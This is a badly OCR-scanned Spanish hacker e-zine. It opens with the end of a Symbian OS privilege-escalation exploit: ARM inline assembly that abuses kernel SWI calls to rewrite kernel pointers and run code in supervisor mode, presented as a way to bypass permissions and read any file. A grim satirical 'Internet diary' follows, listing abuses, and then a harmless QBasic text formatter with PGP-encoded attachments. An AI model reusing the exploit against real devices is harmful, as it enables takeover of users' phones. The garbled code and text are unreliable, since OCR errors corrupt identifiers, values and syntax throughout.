LDR RO, [R3] -> R0=0x80000480
LDR R3, [RO] -> R3=0x80000484
MOV LR, PC

LDR PC, [R3,#0x18] -> PC=0x80000500

-> Ta siguiente instruccion se ejecutara a
] ) partir de 0x80000500
Usaré algo asi:

TInt IncMem(TInt addr)

TInt value;

asm ("Mov r0, %0" : : "r"(Caddr) : "ro");
asm ("MoV LR, PC" );

asm ("sSwI 0x8D");

asm ("nop");

asm ("STR r0, %0" : "=m"(value) );
return value;
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TInt DecMem(TInt addr)
{

TInt value;

asm ("Mov r0O, %0" : : "r"(Caddr) : "ro");
asm ("MoVv LR, PC" );

asm ("SwI Ox8E");

asm ("nop");

asm ("STR r0, %0" : "=m"(value) );
return value;

void WriteMem(TInt addr, TInt value)

TInt currvalue;
currvalue = IncMem(addr);
DecMem(addr) ;

for(TInt i=currvalue; i<value; i++)
IncMem(addr);
}

main() // reemplazar con HandleCommandL o similar

TInt addr, value;

addr=0x80000500; value=0xE1AOFO0E /* codigo de RET */ ; witeMem(addr, value);
addr=0x80000484+0x18; value=0x80000500; witeMem(addr, value);

addr=0x80000480; value=0x80000484; witemMem(addr, value);

addr=0x8000047C; value=0x80000480; witeMem(addr, value);

// espera hasta que el procesador estd ocioso

1Y con esto se consigue saltar a la direccién 0x80000500 en modo supervisor!

Puedes usar el compilador GCC o Keil para elaborar una rutina mas Gtil, por
ejemplo para incrementar los permisos de tu propia Thread.

Entonces, podrias evitar el sistema de permisos y leer cualquier archivo del
sistema, o interactuar directamente con la red.

Hay varios inconvenientes:
-Primero, s6lo es posible incrementar el valor. Para establecer un valor
cualquiera, necesitas incrementarlo hasta que To alcances.
Asi, si el valor actual es 0x12345678 y quieres tener 0x22222221, entonces
necesitas OXOFEDCBA9 operaciones
Esto cuesta bastante tiempo, incluso si optimizas el cédigo
-Segundo, no puedes leer un valor sin modificarlo. Esto significa que algunas
variables criticas del kernel no se pueden cambiar porque cualquier cambio
minimo hace que el sistema se resetea.
-Tercero, Symbian usa punteros a punteros a punteros. Esto hace que sea dificil
analizar los datos que estdn en memoria.
-Por utlimo, cada modelo es diferente. Las direcciones de Tas variables del
kernel dependen de Ta versién del kernel. Incluso versiones distintas del
firmware también usan direcciones distintas.

Segun yo To entiendo, este error es grave porque cualquier programa puede subir
sus permisos y hacer todo tipo de guarrerias, incluso inutilizar el mévil o la
tarjeta SIM.

Puesto en contacto con Symbian y Nokia, han confirmado el error y dicen que 1o
van a arreglar en su siguiente versidén del Sistema Operativo.

Gracias a Eric Bustarret por toda Ta informacién en www.newlc.com

A Vovan888 y SERRGE en www.oslik.ru por sus geniales ideas.

A Jane Sales et Al. por escribir el libro Symbian 0S Internals

A Siemens, por hacer un teléfono realmente abierto.

A Symbian, por su magnifico disefio. Incluso si contiene algin fallo, su Sistema
Operativo estd muy bien hecho.
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Cuidado con To que instalas en tu mévil. Puedes recibir sorpresas desagradables.

=[ 3x03 J--------mmmmmmmm
-[ Diario de Internet J---------———--——--m
-[ by Hackmvan J---------------- - - -+ b f o o e o

Diario de Internet - HackMan
A aquellos que 1o han utilizado para el bien de Ta sociedad.

De una forma desconocida y que nadie Tlegara a averiguar nunca, se me ha
permitido ser Internet por un mes. Ahora mismo no estoy vivo, no espereis
encontrarme. Lo que he visto a 1o largo de este mes, ha sido el causante de mi
muerte. No tengo ni la mas infima idea de hasta donde podemos Tlegar.

Por suerte, yo ya no estare. Internet si.

Dia 1:

Hoy he 1legado hasta el lugar mas recondito de toda africa. Si, he 1legado,

en este lugar todavia se muere gente de hambre, solo existe Ta miseria, por
ningun Tado se encuentran medicamentos para las enfermedades mas graves, etc...
pero he Tlegado.

Dia 2:

Un menor de edad ha accedido a mi, no he sabido mas que entregarle unas
cuantas imagenes e historias de violencia. Al fin de al cabo no son mas que
historias. Eso creia yo, que no comprendo nada.

Dia 3:

Otro menor me ha visitado y le he enviado, tan rapido como me ha sido
posible, unas cuantas paginas sobre pornografia.

ET ninyo que ayer solicitaba mi informacion, ha matado hoy a sus padres
rajandoles el cuello mientras dormian.

Dia 4:

He conseguido conectar a todo el mundo a traves de mi conocido "Chat". EI
99% de 1a informacion que pasa por mis circuitos no son mas que mentiras.
ET otro 1% todavia sigo buscandolo.

Dia 5:

E1l padre del chiquillo del dia 3, Te ha pillado Tas fotos a su hi%o. Le

han gustado tanto que Te ha puesto los cuernos a su mujer en un club nocturno.
Creo que lo de destrozar familias no era mi objetivo.

Dia 6:

Gracias a mi estupendo "Chat", con el que todos se comunican, la gente ya
casi no se habla en la calle y Tas relaciones personales se limitan a un

microfono y una pequenya camara web.

Eotg: éas Tineas telefonicas estan encantadas con el favor que Tles estoy
aciendo.

Dia 7:
Quise ensenyar a una joven To que significa el concepto "Anarquia", pero lo
ha entendido a su manera.

En la tarde del mismo dia, la chica ha intentado crear su primera bomba a
base de cristales de iodo.

Page 6



0x03-mad grrl.txt
Dia 8:

Mi tio ha entrado en una pagina de apuestas. Lo que empezo siendo solo un
%uggo, ahora esta acabando con todos sus ahorros. Cada vez Te caigo mejor a Tos
udopatas.

Nota: Las empresas duenyas de las maquinas tragaperras estan enfadadas

conmigo, les ha salido un nuevo competidor.
Dia 9:

Mi informacion es infinita, un pobre iluso a encontrado algo relacionado con
"hackers™, no ha entendido To que significa y se esta divirtiendo destrozando
paginas web de sectores muy importantes. Tendria que haberle dicho antes de
nada que hacer eso es delito pero, que importa, que hubiera buscado mejor.

Dia 10:

Hoy el trafico de correo electronico esta congestionado, los partidos
politicos utilizan este medio para enviarse informacion oculta haciendo uso de
Ta esteganografia.

Dia 11:

"Armas? Yo se todo To que hay que saber. Este dia sera recordado como el dia
en que nacio un nuevo francotirador.

Dia 12:

Un espabilado ha interceptado Tas comunicaciones del dia 10 y ahora conoce
los futuros planes de un partido del que, al parecer, no es muy amigo. E1 bulo
se ha corrido y todo el mundo sabe 1o que pasa. Adios partido politico.

Dia 13:

-vaya! Algo me ha salido mal. Por culpa de mis_paginas de pornografia un
pequenyajo no deja de masturbarse. Sus padres lo han tenido que Tlevar a un
psicologo. Sus amigos se han enterado. Por cierto, ahora ya no son sus amigos.

Dia 14:

Hoy me ha dado por andar traspasando unos cuantos virus aqui y alla, algunas
multinacionales han tenido perdidas econocimas bastante considerables. Bueno,
esto suele pasar de vez en cuando, "ho?

Dia 15:

Un hombre ha sido_enviado a la carcel. No por cometer ningun homicidio sino
por que 1o han pillado traficando con pornografia infantil. Gracias a mi, en
las comisarias ya casi no quedan celdas Tibres.

Dia 16:

En este gran dia he ayudado a mejorar el trafico de drogas. "Que mas he
hecho? “Acaso parece poco? Puede que tu hijo este metido en un mundo del que
jamas vuelva a salir.

No te preocupes mucho, dentro de poco creare asociaciones virtuales de ayuda
contra Ta droga. 'Crees que tu hijo se recuperara pulsando algunas teclas?

Dia 17:

E1 que, antes de meterme en este fregado, era mi hijo, ahora sabe lo que es
la zoofilia, teniamos un perro en casa y ha experimentado. Todo se lo ha
ensenyado su padre, un aplauso para mi.

Dia 18:

Es_un buen dia para mandar "Spam", vamos a_llenar de basura unos cuantos ]
millones de buzones de e-mail. Seguro que Ta gente no se entera de los mensajes
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subliminales que les envio entre tanta publicidad.

Dia 19:

“Quien habla de pirateria?_ Yo tengo tanto como podais imaginar. Hoy he
aumentado un_poquito mas el fracaso de un artista. He repartido unas 1749
copias si mal no recuerdo.

Dia 20:

Ultimamente no me preocupo mucho de mi seguridad. Por esta razon un joven al
que Te he proporcionado informacion durante un par de dias, ha entrado en Ta
NASA y ha hecho cambiar de rumbo a un pequenyo satelite. No se sabe hacia donde
se dirige pero, seguro que se encuentra bien...

Dia 21:

Hoy era el dia_del 1libro pero, gracias a todo To que he aportado, ya nadie
se acuerda de To que eso s1gn1f1ca

Nota: Los oculistas me han dado las gracias por la enorme cantidad de
pacientes que Te he proporcionado.

Dia 22:

Le he dado a un chico soltero algunos videos sobre unos jovenes haciendo
Tocuras. Hoy le ha dado por tirarse por las calles metido en un contenedor de
basura, se hace cortes en el cuerpo y se bebe su propia orina para el regocijo
deTl publico presente.

Dia 23:

Un grupo de gente ha creado una pagina que prentede aparentar una ONG. Ya
hay gente que ha empezado a aportar dinero. Estos desgraciados se han quedado
To que, supuestamente, tenia como destinatario un pais tercermundista.

Dia 24:

La hija de mi antiguo vecino se ha escapado de casa esta manyana. Una treta
de un hombre que dialogaba con ella a traves de mi, ha hecho que se produzca
una terrible tragedia de 1la que no me gustaria hablar.

Dia 25:

Un motorista ha muerto en la carretera. Llevaba comida encargada por
ordenador a una mujer a la que no le apetecia cocinar. Ultimamente Tas calles
estan deshabitadas, solo las vias estan pobladas con transportes que Tlevan
pedidos de un Tado para otro. Una ayudita al deterioro de la capa de ozono no
Te viene mal. A mi no me importa, llevo casi un mes sin salir a pasear.

Dia 26:

Tengo un deposito de articulos sobre trabajos hechos para clases. Los

jovenes ya no se molestan en 1eer ningun tipo de Tibro. Con el minimo esfuerzo,
hoy he creado un nuevo Tema: "-Que trabajen otros!". Cuanto me satisface
ensenyar buenas costumbres.

Dia 27:

Hoy no me ha dado por asegurar mis protocolos y he violado Ta intimidad de
un individuo. Para que mentir, los datos de las tarjetas de credito de medio
pais, esta en manos de unos desconocidos. A 1o mejor son buenos chicos.

Dia 28:

Las puertas de colegios, institutos e universidades se estan cerrando. Poseo
un nuevo programa que se esta descargando todo el planeta. Su funcion es dar
clases a todos Tos niveles a traves de una pantalla. Se acabaron los problemas,
adios a la convivencia.
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Personas cultas, sin educacion y sin esfuerzo. "Por que no?

Dia 29:

Un ninyo inocente se ha conectado, sin querer, con un numero de pago. Cuando
sus padres recojan la pertinente factura del buzon, a buen seguro no tendran ni
con que pagar la luz de casa.

Nota: Telefonica no cesa de agradecerme los esfuerzos que hago por ellos.

Dia 30:

He 1legado a mi ultimo dia, me encuentro bastante cansado pero no puedo
dej?rddg trabajar. Seguro que encuentro a alguien a quien le pueda ser de
utilidad.

Ha sido un dia desgraciado para una ninyita de tan solo once anyos de edad.
La pobre ha visitado una pagina web que, con solo aportarle una pequenya
cantidad de datos, te dice como y cuando se va a producir tu muerte.

No le ha gustado el triste final de su vida que, segun el informe impreso en
pantalla, se produciria en unos dias. Se ha suicidado. Quiza esa eleccion le
hubiese parecido mejor. "Que Te habra parecido a sus padres?

Y hasta aqui mis hazanyas. No he podido evitar morirme. De todas maneras, no

se si durante un mes habre podido causar algun danyo a Ta sociedad, eso es muy
poco tiempo. Mi suenyo seria regresar algun dia y comprobar si algo ha cambiado.
Entre tanto, me despido. Un saludo.

* EOF:’:

=[ 304 J------—mmm oo
-[ utilidad de formateo J-----------------------“--
-[ by elotro ] --------------"0:"0 oo

/| /" \ /
] — — — [ /_/
—\ /' /N /T N\

— o N
/ / \ [ N2

Recuerda aquellos dias cuando Tos hombres eran hombres y escribian
sus propios articulos, y lo hacian respetando las sagradas 80 columnas ?
Alguna vez tuvo que escribir su propio editor de texto para no tener
que estar machacando Ta tecla enter a cada linea ?
Cansado de que su editor ajuste el texto automaticamente ?

Entonces este programa puede ser para usted

Usted ha recibido una_copia (legal o no, no me importa) de Scom 0.1, un
pequenyo programa que le servira para escribir articulos en formato ASCII
(bah, en cualquier formato, pero despues no va a servir) y ajustarlos
al numero de columnas que usted desee (casi).

AJa y como se usa esta webada?

Copie (o extraiga, no se) Tos archivos scom.exe y Tleer.txt a donde se le
cante.
Ejecute (desde una shell de DOS, obvio), el archivo scom.exe

C:\ELOTRO>scom

scom 0.1 - by elotro, 2006

AAAAAAAAAAAAAAAAAAAAAAAAAA

Uso: scom -l<numero de columnas> [ruta de acceo]<archivo a formatear>
Numero de columnas : 78 a 80 (Ej. para 78 columnas : scom -178 archivo
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Errores o sugerencias ---> elotro.ar@gmail.com
No se ha especificado un numero de columnas.

Aja, pero no pasa nada mas...

Bueno, suponiendo que se ha roto el traste escribiendo o robando cosas de
otras personas, y que esta perfectamente fuera de la regla de las 80
columnas, puede hacer algo como esto...

[ claro, suponiendo que el archivo es lammer.soy ]

C:\ELOTRO>scom -180 Tammer.soy

scom 0.1 - by elotro, 2006
AAAAAAAAAAAAAAAAAAAAAAAAAA

Formateando lammer.soy a formato de 80 columnas...
Finiquitado !

Y que es todo eso ?

La opcion -1 ( LETRA L_para los cortos de vista )
establece el Largo de las filas, o sea la cantidad de columnas.

Lammer.soy, ya dije que era el archivo.

Como ando generoso, aqui tienen el codigo fuente
(bah, no se pa que 1o querrian)

——————————————————————————————— Empieza aca —-------——————————————————————————
'Scom 0.1 by elotro (elotro.ar@gmail.com)
' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

'Declaraciones de Funciones y Vvariables Compartidas

DECLARE FUNCTION Rinstr% (Inicio%, Cadena$, CadenaPBuscar$)
COMMON SHARED Lin$

COMMON SHARED a%

ON ERROR GOTO Sale '* % % yer al final esto
Lin$ = COMMAND$ ] 'Tomamos la linea de comandos, sacamos 1los
Lin$ = LCASE$S(LTRIM$(LinS$)) 'espacios de Tla izquierda y la pasamos a

"'minusculas

a = INSTR(LinS$, "-1") "Nos_fijamos si esta la opcion -1 en
IF a > 0 THEN ) '1a Tinea de comandos, y si esta, vemos
Num = VAL(MID$(Lin$, a + 2, 2)) 'su valor

L R R S S R T T A A B A A S SR LSS
w % w w w ”

'Retirar este bloque 1ir para permitir formateos
'de menos de 78 co1umnas y mas de 80 o
IF Num < 78 OR Num > 80 THEN
QuePaso$ = "Scom no permite formatear textos a ese numero de columnas.
Hagalo usted mismo."
GOTO Sale
END IF

ELSE

QuePaso$ = "No se ha especificado un numero de columnas."
GOTO Sale
END IF

'vemos si el archivo existe
File$ = LTRIM§(MID$(Lin$, a + 4, LEN(CLin$) - a))
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OPEN File$ FOR INPUT AS #1

Si hasta aca no ha pasado nada, o sea que los args esta bien o yo no me
he mandadado ningun moco, empezamos a procesar...

Lina = 0
DO WHILE NOT EOF(1)
LINE INPUT #1, Lin$ ' Esto esta al pedo, es solo para
Lina = Lina + 1 ' hacer facha.. :D
LOOP
CLOSE #1
PRINT "Scom 0.1 - by elotro, 2006"
PRINT "AAAAAAAAAAAAAAAAAAAAAAAAAA"
PRINT "Formateando "; File$; " a formato de"; Num; "columnas..."
PRINT "Completado : O lineas de"; Lina; "lineas..."

HowMuch = 0

OPEN File$ FOR INPUT AS #1 "Abrimos el archivo de entrada
OPEN "Output.sco" FOR OUTPUT AS #2 'E1T de salida tambien
DO
LINE INPUT #1, Lin$ 'Leemos desde el archivo )
Lin$ = R1in$ + Lin$ 'Si quedo una RestanteLinea (R1in$)
RTin$ = "" 'la agregamos
HowMuch = HowMuch + 1 ) )
LOCATE CSRLIN - 1: PRINT "Completado :"; HowMuch; "lineas de"; Lina;
:————_ESTA LINEA VA ARRIBA PERO LA PONGO ACA PORQ SON + DE 80 COLS
> "lineas..."
IF LEN(Lin$) > Num THEN 'Vemos si Ta 1linea > 80 (o To elegido)
a% =0 'Bucle mas importante, vemos_donde
DO ] ) 'existe un espacio antes de las
Donde = Rinstr%(a%, Lin$, " ") '80 (o otras) columnas..

a% = Donde
LOOP UNTIL Donde <= Num

PRINT #2, LEFT$(Lin$, Donde) + " " 'Escribimos en el archivo
R1in$ = LTRIM$(MID$(Lin$, Donde) + " ™) 'Guardamos To que sobra
ELSE . . .
PRINT #2, Lin$ + " " 'Si no se paso, la escribimos
END IF

LOOP WHILE NOT EOF(1l)

PRINT #2, R1in$ 'Siempre sobra una al final (saquen cuentas)

LOCATE CSRLIN - 1: PRINT SPACE$(160)
LOCATE CSRLIN - 2: PRINT "Finiquitado !"

CLOSE
KILL File$ 'Borramos el original
NAME "oOutput.sco" AS File$ 'Cambiamos el nombre y restauramos
END
Sale:
PRINT "Scom 0.1 - by elotro, 2006"
PRINT "AAAAAAAAAAAAAAAAAAAAAAAAAA™
PRINT "Uso: scom -T<numero de columnas> [ruta de acceo]<archivo a formatear>"
PRINT "Numero de columnas : 78 a 80 (Ej. para 78 columnas : scom -178 archivo"
PRINT "Errores o sugerencias ---> elotro.ar@gmail.com"

IF QuePaso$ <> "" THEN
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PRINT QuePaso$
END
ELSE
END IF

SELECT CASE ERR
CASE 53
PRINT "ERR 53 : ET1 archivo no se encontro
CASE 75 TO 76
PRINT "ERR 76 : La ruta de acceso no se encuentra!"
CASE 71 1O 72
PRINT "ERR 71/72 : E1 disco no esta listo o esta daxado !"
CASE ELSE
PRINT "ERR"; ERR; ": No se que paso !"
END SELECT
END

"

FUNCTION Rinstr% (Inicio%, Cadena$, CadenaPBuscar$)

L T S R R R R R R
WRRARRRN" R A e L A A L e (e e Tl A e Ll A e Tl i e e Tl e e i i e e o A A R R ik ok A e T A e o e R ARk T e e i e T e e T A T

| EORORORCN
wRRN

'ReverseInstr'
Retorna la ultima ocurrerncia de una caracter en una cadena

Jo ol te sta ale sla sta ol ole la sl ol ol o,
A L R A e T A 1y

o e PO RO S A S O N RN
ww PR A e T A A b A e e T A S

< W kS

Si no existe, retorna O

IF Cadena$ = "" OR CadenaPBuscar$ = "" THEN
Rinstr% = 0
EXIT FUNCTION

END IF

Retorna 0 si el inicio esta despues del final o antes del principio
IF Inicio% > LEN(Cadena$) OR Inicio < O THEN

Rinstr% = 0

EXIT FUNCTION

END IF

Trunca si inicio es > 0, si no, usa la cadena original
IF Inicio% > O THEN o
S$ = LEFT$(Cadena$, Inicio% - 1)

ELSE

S$ = cadena$
END IF
Last% = O

La primera ocurrencia
X% = INSTR(S$, CadenaPBuscar$)

va por la cadena, aumentando inicio cada vez que Ta cadena se encuentra
WHILE X% > O

Last¥% = X%

X% = INSTR((Last% + 1), S$, CadenaPBuscar$)
WEND

Rinstr% = Last%

END FUNCTION

Pueden observar que solo se puede formatear desde 78 a 80 columnas

(1o hice a proposito), porque en Basic(en este) el tamanyo maximo de las
cadenas es de 32K, y si nos vamos con archivos grandes y pocas columnas,
Tas cadenas se agrandan muy rapido.

Bugs ( no tanto) que no quiero arreglar

LR R IR R R R R R R R R R RN IR R R IR NI IR IR NI INIRINIR IR RININ]]
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Cuando se 1lega a Ta mitad + 1 de las lineas, la performance comienza
a bajar notablemente porque Tas cadenas se hacen muy grandes.

Cuando las cadenas con muy Tlargas (creo que + de 160 caracteres), se
hecesitan hacer 2 pasadas o mas para que el archivo quede correctamente,
ya que el programa no procesa cadenas tan largas. E1 error siempre se
presenta en la ultima linea.

Pero al final queda bien.

Se puede automatizar con un .bat algo asi ]
[no me acuerdo si los argumentos se pasaban asi a los programas dentro
de los bats, si alguien 1o quiere corregir, estoy agradecido ]

[se supone que %1 es 1la opcion -1 y %2 es el nombre de archivo]

scom %1 %2

type %2 |more

choice /c:sn /n Esta correcto ? (s-n)
if errorlevel 2 goto a

0jo : Como todo programa en basic, va a andar bastante lento,

pero calculo que un archivo con unas 100 lineas de 80-90 columnas se
procesa en unos 3 segundos, al menos en mi pobre maquina (3865X/16).
Les juro que estos engendros del demonio aun siguen en el mundo, y con
mas fuerza que nunca.

Buena suerte,
elotro

elotro.ar@gmail.com

Nota del editoprs ikt
Los programas estan c1frados con pgp 2 6
Basta hacer p%p -p <Archivo-a-descifrar>
Para obtener los dos programas

Fin nota del editor¥*? wREEERRRL

————— BEGIN PGP MESSAGE-----
version: 2.6.31a

owHVWMlyGSchkaPkAq1zZE1ggZRADaF100RQcG1ngIEADoKIq1Q+DxRAYe3cH
mt21RD1PrnmLPFi+npn9AQjZUUo+ZFUUgNnub/q/e+zff/7T/19pqoPjuujb+PsD
nv29p/SMjj/T3zMHR1PsQpl2F4s0fyAz6cxoOnKfbwH+uoyFitggarbopNNSTjuf
499HuUh9zsT311QNn5P//PjpaMgpTyhVMXrSNLa6KURsaC32AS/xUO+EEaQoDttYpFJ
YU1iYcKXudUoyYU7 /FNI50k0LSXciVBFQwiw3okwhtvRIHktj34c6yuNEpHazdS6x
dC+MwhanDLJjKquszGCD8/1d60G87n6jss8/erﬂH/57SpijCBancA115Ku
8sT/eKBXrMw8wveluvheC3xvM1tfx5rN920uwl9+EKkKKAGOEi EbLcOErGNxDUUW
z32B06I3D7TWhu31ICiTyVIZNnEWFXSISSsGia5SfEcFvvIciS5kx0enTCNnLUN1pOKR
WI+kOYWsQSYNQ4XaGIDozZKFgegmEILPeivBqoZZIg4PWYUtmYdNZYCLVPQHUIEkZ
IFWG/WFVEtDV7ag/G4XHNFH84pCOppkw2WGLppID6KBFQ61/udLmAEBPb9i7a5Fy
eHmW/b3++PoaCNOXALykoUoOttcmOY5FceiIMITIUGq] teK3EUNnjbyvfrcogzmloE
4anSszQzzbA2Xich5C8DBZDKeON/GszFN4UMLPpQyRg7A6IBBChTfPsUgWGp6PNDIM
ADYV5GmYwxX/7e6wEvaBhvzcNDo6Gs8ng+uBo4j5Yi9708qDzdKz9ZTdIFXtt5QAB
Dm19ZtnpONrfEwAbjKazyRE]jt6hxHDXAPbjCvhfuodnLYLS/RzTKY1C+6g2PrgeX
B55Y01d0ggLG+XFTVVVCIDVYVKY2NH1EUASDSROrTC00s2NX3ucc6Qpz8dcLztRC
BT1u5bkSq2QINW76SAkHW6ksm32fWcBKKP5aiTS/hS+ydp5TcwLpprNsNtOHNRShs
00uIXKYMhtPAqQlgXATfHhTFVv1BAY8s0S5DTYi10IKH4WZWPZUO7aztAoLZFOomuFKR
tI53rtS5ywtdIhmBkF5qoL6]yyFS5wvCwGXYWL5AbjY8Y+uNabiPSF79mRALXTTDY
+13BwYPRze2Me1N601i3EJci7EhwT1IhRO8i1 JUE7FAD2BZTHNhF5uTD6050qglePmhm
iquDWOnihAIj86tkCaFjHeowyXgtP/j0QssKUQBNU90ux0jniFFhK6BNzrQgwnAO
EpcSTpyOI9agzagwF/hwskCgTKMKUAbZIHU2ZvjLMT3j5WAY0Gg802B8ddRtOtMN
B6PAW+ZIt+WLT1Nn3h9rQfX1LXijEe3/BnfzieBjUrXsqfXTAINI9EEtgkL5qI19+5
3HPcTAajwfnF55abX8rxxQ0qjRrvvz/61KmufF5yYwt859z/HTXKiYDTBOVIdqyw
6dJulzHQ7jBcz0zGMxQ1b2DLX/YA0lsq2PjvpX53nYerwk30Mr25UT7N1ipitAuA3
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0x03-mad grrl.txt
ﬂHJ/OHS/SF/TGSPanwk21P n82rokKE8o
F3XA0eNjOhkoQIiPPkfBz22Xzqff1l1/7/bHo0euAAZsG+cCmXUgDcqfAdHX8TEE7
LgAa/hhQTvznF5tHAYdavHZrlodvaj7kk2kwbPoz4kMgn32LfLK/vznZzSEGSLAM
vUaPThQgsRcKYVaFcIHz1w6cr4ATVI0hsaoMr/mPQE6/IZxUTp/vhDp9DqiholLpD
0x0iHXKM2EbswsTdSp52/3364uRbKDjRVS4eIRWNgV+XEP+sp6wH3qyDFShmDfyP
UYPNX5LZyzD4qgRg9z1P+KT3KfhpvyxIw2ef92FEokZ5AcCTXEI02eqbMcpOk10H8
Fq783RKtdYgKrnHKu7Nvhr3pjHQY50zDXLKiHhEEqFD5HDrhzEfvvLZSCdqdBptp
08Dxw135BGmMNST1IpLYOUVFO2EQT9kFwjPGLQ7MFEMCmTUPDFARZMDHaMk j+XyG5p
gROXVTAQU6GgzKzeryVjfNO/1XR5xebBSy7ccWBSKKEp5E+edFgm2bLd4AR1n4XdC
VC88YsanvDSrmQTH3Cxs06c/HjF4L3jQPcOKk+Go02rcSDbRjUKHbbQa+K9IxKw1
2/KVEGUPR+zUhMTErwn2tbZEMauIeMMC8XPHI7caInVHUnGsbHgpyaoohfGoY70Y
hT1A3faq4Ccxsc+IgM2b5RKVXeHKbsTFAKYpwWu716IhSk2zK1cemIW]jGSyzFYC6MX2
iB2WEWNJIpu513Vv3Bwaokp22ymC4gz6T1+u7zDWN8Ur0gHFi+1mMhTFuwComjvbmv3
CsmMNGCINhCIDXH4+1rwzabapnz/tOF7wWJU+LuchPQRvV0XJ42m2h+dcQeeK1zB2wW
MKNOmY3ccYSsvD8vrOemjasicGnlocq93i7svakjkvacyhhTQNVOxrNUkGOhO4zjt
th3Qa+t7qUShZCvD8u1mth7jXOtElYY1M2C+1r/KZbLVNx91i5dX/va==
=d6SR

————— BEGIN PGP MESSAGE-----
version: 2.6.31a

owHseX14VNXV7z4fc85kzjIISUggQD4UATKIMkGgzgQTMkTAQ]jIIINIMWM/t21us%o/PCNAfqutNPddt/caOOmtaOa?cuHRu5MWZPTaIbGX/OﬂK4 g2
fjFNOVauhk8ualu5GqjPzwx47vp3CXyKp7uPT3fPrMhNV/R/WnJHP6NVS05kz47/
dqudG6ZR9vibb+CN8M6YToF53des4z4x56fTm9Ga6DQsSNDs+v6270Xzc070P /99w
TIu+hYZrMb6Muouv4Cm/70Bzd0f1jGYromrghFcMCL1Y]j/R2M/jRrvprzuGl4toT
RdaLK6bxTSkzU/x3IV/7ums0z/ukzgeHzYmoMmDZqlujmfionQ9s2Ddfr+KLAnbFb
eD76xgzfFjgbyhs7AducCm+IfM2+4Xgmb5v6BwhUrt/8bRZDRLUOYCRGU2G3061 1
IBTQNEroSym8tOE7/j2G50+L6TjBTKNIpuG6Zzi/BqwWbpFL1L1XxpGqK3GvRm9eC/y
r7oXrYBFWIDHWPTOCKNOVT1KtXLT1EO6dd1wLpystdoflvtXzvTnoNSia/lrov0/
mo1fgbge5akQ0yd3t/2aqvosd71iHLM3AbX9qQxgucv4bQkQ22RmjbzFwP2UFVBC
vY5sLrygRw4j6168g1B4D8IbTIiH8YHCSZp6HYWX9iKOTVk77aaFX3wjmJoPfwP8
/XS834m2ceG5VAVMr5mG3e0FZBo+Ftpx7bw78HOE6BtogB8DgcLz/ofPRyXgwvOB
ws9z3TP990b71X048PNA4RVdCHUQXHi1arWfoAbRKYAv42418$q4QOEXuEg3aB%rngj82anuC9yfb+vA+8N5KrCX?MX6mprcOkaImVA9mFah2
FpQjIG1XeP7SsI1qFGLBTORWhupNX3nls/icbcavgmlyYjjX1STEhRI41j6N6GH7S]
OrM76RDrzJB2Rh/SzoIm5mMPIsJAXRsTIpgIQZsAkeHTFOXHtNHqWTVHYY4GNw1UE
Iw8bSRTSrwbURRNUQT014BIriDgKKy26qINgsK9HPBUdYdFHi00pald7p3041zSn
SzHks8y7FPmg+qvnOw19JYL5jCSGECTGatywsCWGkXI7BFAP5jMjJI6dXUANLIWI
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0x03-mad grrl.txt
Atw/WgL867ZPsMjLhX+zhDtj7/zNcu6tTH659qdF/KsqsOfHePjPSyrlyY5nSCHHO
911igwbgFwb0SeDPrpAG6T1Vz4RbSbT1x0G+QyIg200TXy80RHXC+q95jNyIVB117us
fD+LLEbwhIsqqtx4kvxvq2604/pICXIX6U5dMzgXfOT+nhKIDWXiA9siqgqmCwOBuU
QXquNXWVFviS/CCLLyVTRNhjbOpVI7MQOFVL/G/EP7IhOZkuSQW1eKoFSrEYZfB
KPNK2LwkrC2mzUstVv8WFLYy40n12My1it9k2yT03g2W+sdxEO+I7elzvlc3PeI2MHk
AHC+A3ETgCWGD/ukXRZMy3C8I3u4J5MYbF5Th412dPnkOWkdueiJ/hGXUdPSZVNO
VU9ImiLGfUdns855apazcjf++10Gh337Mwi+ffv51Q0xtjeKmfNUKWC+kBVN848ww
LjYEDjwvStyBVrE1kXsY]/f+kwwiMz1KPOK4KhmXppK7mwDp/C4Xg7pcLItRzHaA5
ZVFAYS1iehUuTAsUJUHROoDjJfuzOUgPE4VIhuCzSF8v0i6HbXSEYGWMTE3ZzM8LGY
YBMTFGIp4HOROXWTOtoX4SXRnWXDa2SNXjFN856LW8ykeORLVh3XBSt1WKDRVZk
6I08r9jK41KefIIC2uA8CiNjOi18n4VIjzItLLTAhLjUFijT11lrruirNx+rNXaxpNu
rramrto30QmbxtwE25Rm73vidMuvEI8e+NVSwdwncbGIUIF5YHXM/TrereEnCgdti
9tfzeylfbn97qTDKSdxe8814/zDfz1xUkf8Ct+Yi/gAPBQ+Fbu/IDMz/hQtwYUOP
LerJFNKDn53PvOGIij7PtHdOeOquUygr3/od4nxPS7v2tvL0zUMSTIXygTA2UCVS9
0x33T3fESYEQNTATVYNA5TIry/YOC7s3PX47j8vMHeUevPATN2 jpTHULCAY1iFfxoh
bhnjY6rzTtTOfxczxvz03zhbuwfCHORbZEFoXbRowrBI/2Gu3XfRf4ENvqOii/cE
D8EzeH/sn7m+z4Iuq+kd6AcKLM1+TEVIDEZz4DxvgezV84H+ry3LPPUEXU4K1XESS
2s3wTXsJh4KfKxv1VfYz+IRd861q45H8IGTbnHO+6LLs jpfj/MOckmLe5BZNXONP
Tkd2z1CsgzJ14R70hsR5IPkoSKcngaBYb10aomM5LeXgs+3xPassYRGIFFVD7+LT6
vO3UVLFGcfvhduT/cI15206hp8i86VvoNGBrw/x6Pgdi 35E+0wMGAOSr43330yhxtq T pXE2W
rrFa+0ONHEyhxu4gNNFg3I6KFOUlbwerpJKww6u7zSEId8fTT16r3Q2z8wDtHOg1i+R
TNQoktmokbVv37vDUVitu4YnOOFpiRWK1grtyNUA4PhdaAOmYkAOOYceUHBHIhgv+
ZZBVP5n5z9hcabx1B9zfWp+z2sy3wz+1ZsYdiouoe8r6gelTm7uKtPNdBVYN7Im6
CxIQaghwgoPuMvIb3r81gd5ADGS0Gg7 cIZATIZLHUjb8cUSAWNOW1gVTCBA8i/yM jwbwC80ez4Y04YYyRRpzLpFjn97ws/wlUSXyJ
gXNMQYDQg4JzmXVXC+rwvGjow3eqMaUp5pnfAm4BPWIMCHYN3ystzIxv/EW5Pq1PS
3kk7zu0izemQvNyBNyYDYGP3ITZHOyQWn4Ql4smMg8vLk4MLA+1RCkGrulKGmZMHm
QD4905gG1ls9RwvenYXDgq5NhIcINwxcmccEccnb6ywWoGUDo4t+x1yA/LyZBXKX4cV
pdxN+hnYqR+Mwzc+XVOLgeE/7Z2UmYccOWWITwVYAHINiu/7hi+DLuUOo3hhTw11G
